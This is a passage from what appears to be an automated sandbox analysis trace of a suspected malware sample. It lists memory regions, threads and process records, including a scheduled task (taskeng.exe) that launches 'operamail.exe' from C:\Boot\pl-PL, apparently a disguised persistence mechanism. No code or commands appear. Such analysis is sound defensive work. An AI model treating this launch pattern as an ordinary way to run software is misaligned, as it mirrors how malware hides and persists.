0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6677 start_va = 0x17c0000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017c0000" filename = "" Region: id = 6678 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 6679 start_va = 0x1870000 end_va = 0x18effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 6680 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Thread: id = 298 os_tid = 0xe78 Thread: id = 299 os_tid = 0x7c8 Thread: id = 300 os_tid = 0x680 Thread: id = 301 os_tid = 0x5c8 Thread: id = 302 os_tid = 0x1c4 Thread: id = 303 os_tid = 0xf8 Thread: id = 304 os_tid = 0x3e8 Thread: id = 305 os_tid = 0x3dc Thread: id = 306 os_tid = 0x3d8 Thread: id = 307 os_tid = 0x3c8 Thread: id = 308 os_tid = 0x3c4 Thread: id = 309 os_tid = 0x390 Thread: id = 310 os_tid = 0x380 Thread: id = 311 os_tid = 0x378 Thread: id = 312 os_tid = 0x360 Thread: id = 313 os_tid = 0x348 Thread: id = 314 os_tid = 0x338 Thread: id = 316 os_tid = 0x5a8 Thread: id = 319 os_tid = 0xf10 Thread: id = 322 os_tid = 0x344 Process: id = "76" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x21f10000" os_pid = "0x4e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "67" os_parent_pid = "0x350" cmd_line = "taskeng.exe {6CDE4FA8-8AE9-4DFE-886C-F817993F890F} S-1-5-21-4219442223-4223814209-3835049652-1000:Q9IATRKPRH\\kEecfMwgj:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6785 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6786 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6787 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 6788 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 6789 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6790 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6791 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6792 start_va = 0xffca0000 end_va = 0xffd13fff monitored = 0 entry_point = 0xffcaf44c region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 6793 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6794 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6795 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6796 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6927 start_va = 0x130000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6928 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6929 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6930 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6931 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6932 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6933 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6934 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 6935 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6936 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6937 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6938 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6939 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6940 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6941 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6942 start_va = 0x7fefe750000 end_va = 0x7fefe826fff monitored = 0 entry_point = 0x7fefe753274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6943 start_va = 0x7fefae30000 end_va = 0x7fefae39fff monitored = 0 entry_point = 0x7fefae3260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 6944 start_va = 0x7fefd3c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd3c1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6945 start_va = 0x50000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6946 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 6947 start_va = 0x70000 end_va = 0x98fff monitored = 0 entry_point = 0x71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6948 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 6949 start_va = 0x70000 end_va = 0x98fff monitored = 0 entry_point = 0x71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6950 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6951 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6952 start_va = 0x560000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 6953 start_va = 0x6f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 6954 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskeng.exe.mui" filename = "\\Windows\\System32\\en-US\\TaskEng.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskeng.exe.mui") Region: id = 6955 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6956 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 6957 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 6958 start_va = 0x1af0000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 6959 start_va = 0x1af0000 end_va = 0x1b6cfff monitored = 0 entry_point = 0x1afcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6960 start_va = 0x1c70000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 6961 start_va = 0x1af0000 end_va = 0x1b6cfff monitored = 0 entry_point = 0x1afcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6962 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6963 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6964 start_va = 0x1bb0000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 6965 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6966 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6967 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6968 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6969 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6970 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6971 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6972 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6973 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6974 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6975 start_va = 0x1e60000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 6976 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6977 start_va = 0x7fefd760000 end_va = 0x7fefd784fff monitored = 0 entry_point = 0x7fefd769658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6978 start_va = 0x1cf0000 end_va = 0x1deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 6979 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 6980 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6981 start_va = 0x2090000 end_va = 0x235efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6982 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 6983 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 6984 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 6985 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 6986 start_va = 0x1af0000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 6987 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 6988 start_va = 0x7fefdd00000 end_va = 0x7fefdd98fff monitored = 0 entry_point = 0x7fefdd01c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6989 start_va = 0x7fefab60000 end_va = 0x7fefab68fff monitored = 0 entry_point = 0x7fefab611a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 6990 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6991 start_va = 0x2490000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 6992 start_va = 0x7fefbd50000 end_va = 0x7fefbd84fff monitored = 0 entry_point = 0x7fefbd51064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6993 start_va = 0x1f20000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 6994 start_va = 0x2490000 end_va = 0x256efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002490000" filename = "" Region: id = 6995 start_va = 0x2630000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 6996 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 6997 start_va = 0x7fefbd90000 end_va = 0x7fefbda7fff monitored = 0 entry_point = 0x7fefbd91130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 6998 start_va = 0x2590000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 6999 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 7000 start_va = 0x2770000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 7001 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 7002 start_va = 0x28a0000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 7003 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 7166 start_va = 0x2930000 end_va = 0x29affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 7167 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 7168 start_va = 0x2360000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 7169 start_va = 0x26b0000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 7170 start_va = 0x29f0000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 7171 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 7172 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 7173 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 7174 start_va = 0x2a70000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 7175 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 7176 start_va = 0x2c50000 end_va = 0x2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 7177 start_va = 0x2d00000 end_va = 0x2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 7178 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 7179 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 7180 start_va = 0x2d90000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d90000" filename = "" Region: id = 7181 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 7182 start_va = 0x2bd0000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 7183 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 7184 start_va = 0x2e60000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 7185 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 7186 start_va = 0x2b50000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 7187 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Thread: id = 323 os_tid = 0x4ec Thread: id = 324 os_tid = 0x504 Thread: id = 325 os_tid = 0x50c Thread: id = 326 os_tid = 0x524 Thread: id = 327 os_tid = 0x528 Thread: id = 328 os_tid = 0x52c Thread: id = 329 os_tid = 0x530 Thread: id = 330 os_tid = 0x534 Thread: id = 331 os_tid = 0x538 Thread: id = 332 os_tid = 0x53c Thread: id = 352 os_tid = 0x558 Thread: id = 353 os_tid = 0x55c Thread: id = 354 os_tid = 0x560 Thread: id = 355 os_tid = 0x564 Thread: id = 356 os_tid = 0x568 Thread: id = 357 os_tid = 0x5a0 Thread: id = 358 os_tid = 0x5bc Thread: id = 359 os_tid = 0x5c0 Thread: id = 360 os_tid = 0x5d4 Thread: id = 361 os_tid = 0x5e4 Thread: id = 362 os_tid = 0x5f0 Process: id = "77" image_name = "operamail.exe" filename = "c:\\boot\\pl-pl\\operamail.exe" page_root = "0x2274b000" os_pid = "0x540" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Boot\\pl-PL\\operamail.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7192 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7193 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7194 start_va = 0x1c0000 end_va = 0x295fff monitored = 1 entry_point = 0x28d67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 7195 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 7196 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7197 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7198 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7199 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7200 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7201 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7202 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7586 start_va = 0x40000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7587 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7588 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7589 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7590 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7591 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7592 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7593 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7594 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7595 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 7596 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7754 start_va = 0x540000 